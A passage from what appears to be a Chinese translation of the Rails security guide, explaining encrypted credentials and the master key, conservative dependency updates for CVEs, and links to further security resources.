的主密钥以及其他未加密的秘密。您可能希望进一步限制访问,使用这些文件以及可能包含敏感信息的任何其他文件的特定于环境的版本。
10.1 自定义凭据
Rails 将秘密存储在 config/credentials.yml.enc
中,该文件已加密,因此不能直接编辑。Rails 使用 config/master.key
或作为替代,查找环境变量 ENV["RAILS_MASTER_KEY"]
来加密凭据文件。由于凭据文件已加密,因此只要主密钥保持安全,就可以将其存储在版本控制中。
默认情况下,凭据文件包含应用程序的 secret_key_base
。它还可以用于存储其他秘密,例如外部 API 的访问密钥。
要编辑凭据文件,请运行 bin/rails credentials:edit
。如果文件不存在,此命令将创建凭据文件。此外,如果未定义主密钥,此命令将创建 config/master.key
。
存储在凭据文件中的秘密可以通过 Rails.application.credentials
访问。例如,对于以下已解密的 config/credentials.yml.enc
secret_key_base: 3b7cd72...
some_api_key: SOMEKEY
system:
access_key_id: 1234AB
Rails.application.credentials.some_api_key
返回 "SOMEKEY"
。Rails.application.credentials.system.access_key_id
返回 "1234AB"
。
如果希望在某些键为空时引发异常,可以使用感叹号版本
# When some_api_key is blank...
Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank
使用 bin/rails credentials:help
了解更多关于凭据的信息。
请保护好您的主密钥。请勿提交您的主密钥。
11 依赖关系管理和 CVE
我们不会仅仅为了鼓励使用新版本(包括安全问题)而升级依赖关系。这是因为应用程序所有者无论我们做了什么努力,都需要手动更新他们的 gem。使用 bundle update --conservative gem_name
安全地更新易受攻击的依赖关系。
12 其他资源
安全形势在不断变化,因此保持最新状态很重要,因为错过新的漏洞可能是灾难性的。您可以在此处找到有关(Rails)安全的其他资源
- 订阅 Rails 安全 邮件列表。
- Mozilla 的 Web 安全指南 - 关于涵盖内容安全策略、HTTP 标头、Cookie、TLS 配置等主题的建议。
- 一套 优秀的安全资源,尤其是 备忘单系列,其中包括例如 跨站脚本备忘单。